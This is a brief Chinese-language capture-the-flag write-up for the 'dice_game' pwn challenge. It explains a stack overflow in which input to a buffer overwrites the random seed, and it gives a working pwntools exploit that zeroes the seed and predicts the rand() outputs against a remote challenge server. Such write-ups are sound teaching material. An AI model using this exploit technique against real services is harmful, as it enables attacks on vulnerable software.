pwn_dice_game

常规操作:checksec dice_game

发现文件是64位

放入ida中看c的伪代码:

pwn_dice_game

这是一个猜数字的题,之前有做过类似的题,目的是覆盖seed,使随机数不再随机产生

点开sub_A20()看看随机数怎么构造的:

pwn_dice_game

可以看到rand()%6+1线性同余的方式生成随机数,下一步就是想要覆盖掉种子位置上的值

看一下种子的位置:

pwn_dice_game

buf是我们可以写 入数据的缓冲区,通过read函数写入,这又是经典的栈溢出漏洞

0x50-0x10=0x40

因为附件解压后有两个文件,其中一个是libc.so.6动态链接库,编写exp脚本时要手动连接该库——cdll.LoadLibrary(libc.so.6),这样覆盖后我们调用的rand函数才可以准确的吻合。

exp:

from pwn import *
from ctypes import *
p=remote('111.198.29.45','51654')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)

a=[]
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    p.recv()
    print(p.recv())
    p.sendline(str(i))
p.interactive()